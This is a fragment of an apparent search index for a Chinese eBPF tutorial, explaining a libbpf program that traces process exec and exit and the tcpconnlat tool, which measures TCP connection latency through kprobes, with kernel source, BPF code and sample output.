Parse command line arguments */ err = argp_parse(&argp, argc, argv, 0, NULL, NULL); if (err) return err; /* Set up libbpf errors and debug info callback */ libbpf_set_print(libbpf_print_fn); /* Cleaner handling of Ctrl-C */ signal(SIGINT, sig_handler); signal(SIGTERM, sig_handler); /* Load and verify BPF application */ skel = bootstrap_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1; } /* Parameterize BPF code with minimum duration parameter */ skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; /* Load & verify BPF programs */ err = bootstrap_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } /* Attach tracepoints */ err = bootstrap_bpf__attach(skel); if (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup; } /* Set up ring buffer polling */ rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL); if (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup; } /* Process events */ printf(\"%-8s %-5s %-16s %-7s %-7s %s\\n\", \"TIME\", \"EVENT\", \"COMM\", \"PID\", \"PPID\", \"FILENAME/EXIT CODE\"); while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; } } cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n} 这个用户态程序主要用于加载、验证、附加 eBPF 程序，以及接收 eBPF 程序收集的事件数据，并将其打印出来。我们将分析一些关键部分。 首先，我们定义了一个 env 结构，用于存储命令行参数： static struct env { bool verbose; long min_duration_ms;\n} env; 接下来，我们使用 argp 库来解析命令行参数： static const struct argp_option opts[] = { { \"verbose\", 'v', NULL, 0, \"Verbose debug output\" }, { \"duration\", 'd', \"DURATION-MS\", 0, \"Minimum process duration (ms) to report\" }, {},\n}; static error_t parse_arg(int key, char *arg, struct argp_state *state)\n{ // ...\n} static const struct argp argp = { .options = opts, .parser = parse_arg, .doc = argp_program_doc,\n}; main() 函数中，首先解析命令行参数，然后设置 libbpf 的打印回调函数 libbpf_print_fn，以便在需要时输出调试信息： err = argp_parse(&argp, argc, argv, 0, NULL, NULL);\nif (err) return err; libbpf_set_print(libbpf_print_fn); 接下来，我们打开 eBPF 脚手架（skeleton）文件，将最小持续时间参数传递给 eBPF 程序，并加载和附加 eBPF 程序： skel = bootstrap_bpf__open();\nif (!skel) { fprintf(stderr, \"Failed to open and load BPF skeleton\\n\"); return 1;\n} skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL; err = bootstrap_bpf__load(skel);\nif (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup;\n} err = bootstrap_bpf__attach(skel);\nif (err) { fprintf(stderr, \"Failed to attach BPF skeleton\\n\"); goto cleanup;\n} 然后，我们创建一个环形缓冲区（ring buffer），用于接收 eBPF 程序发送的事件数据： rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);\nif (!rb) { err = -1; fprintf(stderr, \"Failed to create ring buffer\\n\"); goto cleanup;\n} handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型（进程执行或退出），它会提取并打印事件信息，如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。 最后，我们使用 ring_buffer__poll() 函数轮询环形缓冲区，处理收到的事件数据： while (!exiting) { err = ring_buffer__poll(rb, 100 /* timeout, ms */); // ...\n} 当程序收到 SIGINT 或 SIGTERM 信号时，它会最后完成清理、退出操作，关闭和卸载 eBPF 程序： cleanup: /* Clean up */ ring_buffer__free(rb); bootstrap_bpf__destroy(skel); return err < 0 ? -err : 0;\n}","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 用户态，bootstrap.c","id":"68","title":"用户态，bootstrap.c"},"69":{"body":"构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。 在 Ubuntu/Debian 上，你需要执行以下命令： sudo apt install clang libelf1 libelf-dev zlib1g-dev 在 CentOS/Fedora 上，你需要执行以下命令： sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 安装依赖","id":"69","title":"安装依赖"},"7":{"body":"eBPF 程序由内核态部分和用户态部分构成。内核态部分包含程序的实际逻辑，用户态部分负责加载和管理内核态部分。使用 eunomia-bpf 开发工具，只需编写内核态部分的代码。 内核态部分的代码需要符合 eBPF 的语法和指令集。eBPF 程序主要由若干个函数组成，每个函数都有其特定的作用。可以使用的函数类型包括： kprobe：插探函数，在指定的内核函数前或后执行。 tracepoint：跟踪点函数，在指定的内核跟踪点处执行。 raw_tracepoint：原始跟踪点函数，在指定的内核原始跟踪点处执行。 xdp：网络数据处理函数，拦截和处理网络数据包。 perf_event：性能事件函数，用于处理内核性能事件。 kretprobe：函数返回插探函数，在指定的内核函数返回时执行。 tracepoint_return：跟踪点函数返回，在指定的内核跟踪点返回时执行。 raw_tracepoint_return：原始跟踪点函数返回，在指定的内核原始跟踪","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 编写 eBPF 程序","id":"7","title":"编写 eBPF 程序"},"70":{"body":"编译运行上述代码： $ git submodule update --init --recursive\n$ make BPF .output/bootstrap.bpf.o GEN-SKEL .output/bootstrap.skel.h CC .output/bootstrap.o BINARY bootstrap\n$ sudo ./bootstrap [sudo] password for yunwei: TIME EVENT COMM PID PPID FILENAME/EXIT CODE\n03:16:41 EXEC sh 110688 80168 /bin/sh\n03:16:41 EXEC which 110689 110688 /usr/bin/which\n03:16:41 EXIT which 110689 110688 [0] (0ms)\n03:16:41 EXIT sh 110688 80168 [0] (0ms)\n03:16:41 EXEC sh 110690 80168 /bin/sh\n03:16:41 EXEC ps 110691 110690 /usr/bin/ps\n03:16:41 EXIT ps 110691 110690 [0] (49ms)\n03:16:41 EXIT sh 110690 80168 [0] (51ms)","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 编译运行","id":"70","title":"编译运行"},"71":{"body":"通过这个实例，我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集，可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf，您可以构建更高效、可扩展和安全的监控和性能分析工具。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 总结","id":"71","title":"总结"},"72":{"body":"eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具，被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 本文是 eBPF 入门开发实践教程的第十三篇，主要介绍如何使用 eBPF 统计 TCP 连接延时，并使用 libbpf 在用户态处理数据。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据","id":"72","title":"eBPF入门开发实践教程十三：统计 TCP 连接延时，并使用 libbpf 在用户态处理数据"},"73":{"body":"在进行后端开发时，不论使用何种编程语言，我们都常常需要调用 MySQL、Redis 等数据库，或执行一些 RPC 远程调用，或者调用其他的 RESTful API。这些调用的底层，通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点，因此在网络传输层协议中，TCP 的应用广泛程度超过了 UDP。然而，TCP 也有一些缺点，如建立连接的延时较长。因此，也出现了一些替代方案，例如 QUIC（Quick UDP Internet Connections，快速 UDP 网络连接）。 分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 背景","id":"73","title":"背景"},"74":{"body":"tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数（如通过 connect() 系统调用），并测量并显示连接延时，即从发送 SYN 到收到响应包的时间。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 工具概述","id":"74","title":"tcpconnlat 工具概述"},"75":{"body":"TCP 连接的建立过程，常被称为“三次握手”（Three-way Handshake）。以下是整个过程的步骤： 客户端向服务器发送 SYN 包：客户端通过 connect() 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 SYN 包传送到服务器：这是一次网络传输，涉及到的时间取决于网络延迟。 服务器处理 SYN 包：服务器内核通过软中断接收包，然后将其放入半连接队列，并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 SYN/ACK 包传送到客户端：这是另一次网络传输。 客户端处理 SYN/ACK：客户端内核接收并处理 SYN/ACK 包，然后发送 ACK。这主要涉及软中断处理开销。 ACK 包传送到服务器：这是第三次网络传输。 服务器接收 ACK：服务器内核接收并处理 ACK，然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 唤醒服务器端用户进程：被 accept() 系统调用阻塞的用户进程被唤醒，然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 完整的流程图如下所示： tcpconnlat1 在客户端视角，在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下，可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后，就可以结合其他信息进行分析。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » TCP 连接原理","id":"75","title":"TCP 连接原理"},"76":{"body":"为了理解 TCP 的连接建立过程，我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列： 半连接队列（SYN 队列）：存储那些正在进行三次握手操作的 TCP 连接，服务器收到 SYN 包后，会将该连接信息存储在此队列中。 全连接队列（Accept 队列）：存储已经完成三次握手，等待应用程序调用 accept() 函数的 TCP 连接。服务器在收到 ACK 包后，会创建一个新的连接并将其添加到此队列。 理解了这两个队列的用途，我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分，其中包括了几个主要的跟踪点：tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。 这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时，这些跟踪点会被激活，从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 让我们先来看一下这些挂载点的源代码： SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} 这段代码展示了三个内核探针（kprobe）的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发，调用 trace_connect() 函数，而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发，调用 handle_tcp_rcv_state_process() 函数。 接下来的部分将分为两大块：一部分是对这些挂载点内核态部分的分析，我们将解读内核源代码来详细说明这些函数如何工作；另一部分是用户态的分析，将关注 eBPF 程序如何收集这些挂载点的数据，以及如何与用户态程序进行交互。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcpconnlat 的 eBPF 实现","id":"76","title":"tcpconnlat 的 eBPF 实现"},"77":{"body":"tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后，接着通过connect系统调用尝试连接到远程服务器，此时就会触发tcp_v4_connect函数。 /* This will initiate an outgoing connection. */\nint tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)\n{ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr; struct inet_timewait_death_row *tcp_death_row; struct inet_sock *inet = inet_sk(sk); struct tcp_sock *tp = tcp_sk(sk); struct ip_options_rcu *inet_opt; struct net *net = sock_net(sk); __be16 orig_sport, orig_dport; __be32 daddr, nexthop; struct flowi4 *fl4; struct rtable *rt; int err; if (addr_len < sizeof(struct sockaddr_in)) return -EINVAL; if (usin->sin_family != AF_INET) return -EAFNOSUPPORT; nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr; } orig_sport = inet->inet_sport; orig_dport = usin->sin_port; fl4 = &inet->cork.fl.u.ip4; rt = ip_route_connect(fl4, nexthop, inet->inet_saddr, sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport, orig_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); if (err == -ENETUNREACH) IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES); return err; } if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) { ip_rt_put(rt); return -ENETUNREACH; } if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row; if (!inet->inet_saddr) { err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET); if (err) { ip_rt_put(rt); return err; } } else { sk_rcv_saddr_set(sk, inet->inet_saddr); } if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) { /* Reset inherited state */ tp->rx_opt.ts_recent = 0; tp->rx_opt.ts_recent_stamp = 0; if (likely(!tp->repair)) WRITE_ONCE(tp->write_seq, 0); } inet->inet_dport = usin->sin_port; sk_daddr_set(sk, daddr); inet_csk(sk)->icsk_ext_hdr_len = 0; if (inet_opt) inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen; tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT; /* Socket identity is still unknown (sport may be zero). * However we set state to SYN-SENT and not releasing socket * lock select source port, enter ourselves into the hash tables and * complete initialization after this. */ tcp_set_state(sk, TCP_SYN_SENT); err = inet_hash_connect(tcp_death_row, sk); if (err) goto failure; sk_set_txhash(sk); rt = ip_route_newports(fl4, rt, orig_sport, orig_dport, inet->inet_sport, inet->inet_dport, sk); if (IS_ERR(rt)) { err = PTR_ERR(rt); rt = NULL; goto failure; } /* OK, now commit destination to socket. */ sk->sk_gso_type = SKB_GSO_TCPV4; sk_setup_caps(sk, &rt->dst); rt = NULL; if (likely(!tp->repair)) { if (!tp->write_seq) WRITE_ONCE(tp->write_seq, secure_tcp_seq(inet->inet_saddr, inet->inet_daddr, inet->inet_sport, usin->sin_port)); tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr, inet->inet_daddr); } inet->inet_id = get_random_u16(); if (tcp_fastopen_defer_connect(sk, &err)) return err; if (err) goto failure; err = tcp_connect(sk); if (err) goto failure; return 0; failure: /* * This unhashes the socket and releases the local port, * if necessary. */ tcp_set_state(sk, TCP_CLOSE); inet_bhash2_reset_saddr(sk); ip_rt_put(rt); sk->sk_route_caps = 0; inet->inet_dport = 0; return err;\n}\nEXPORT_SYMBOL(tcp_v4_connect); 参考链接： https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340 接下来，我们一步步分析这个函数： 首先，这个函数接收三个参数：一个套接字指针sk，一个指向套接字地址结构的指针uaddr和地址的长度addr_len。 int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) 函数一开始就进行了参数检查，确认地址长度正确，而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 接下来，函数获取目标地址，如果设置了源路由选项（这是一个高级的IP特性，通常不会被使用），那么它还会获取源路由的下一跳地址。 nexthop = daddr = usin->sin_addr.s_addr;\ninet_opt = rcu_dereference_protected(inet->inet_opt, lockdep_sock_is_held(sk));\nif (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; nexthop = inet_opt->opt.faddr;\n} 然后，使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址，函数返回错误。 接下来，它更新了源地址，处理了一些TCP时间戳选项的状态，并设置了目标端口和地址。之后，它更新了一些其他的套接字和TCP选项，并设置了连接状态为SYN-SENT。 然后，这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败，它会恢复套接字的状态并返回错误。 如果前面的步骤都成功了，接着，使用新的源和目标端口来更新路由项。如果这步失败，它会清理资源并返回错误。 接下来，它提交目标信息到套接字，并为之后的分段偏移选择一个安全的随机值。 然后，函数尝试使用TCP Fast Open（TFO）进行连接，如果不能使用TFO或者TFO尝试失败，它会使用普通的TCP三次握手进行连接。 最后，如果上面的步骤都成功了，函数返回成功，否则，它会清理所有资源并返回错误。 总的来说，tcp_v4_connect函数是一个处理TCP连接请求的复杂函数，它处理了很多情况，包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open，等等。它的主要目标是尽可能安全和有效地建立TCP连接。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » tcp_v4_connect 函数解析","id":"77","title":"tcp_v4_connect 函数解析"},"78":{"body":"// SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"tcpconnlat.h\" #define AF_INET 2\n#define AF_INET6 10 const volatile __u64 targ_min_us = 0;\nconst volatile pid_t targ_tgid = 0; struct piddata { char comm[TASK_COMM_LEN]; u64 ts; u32 tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 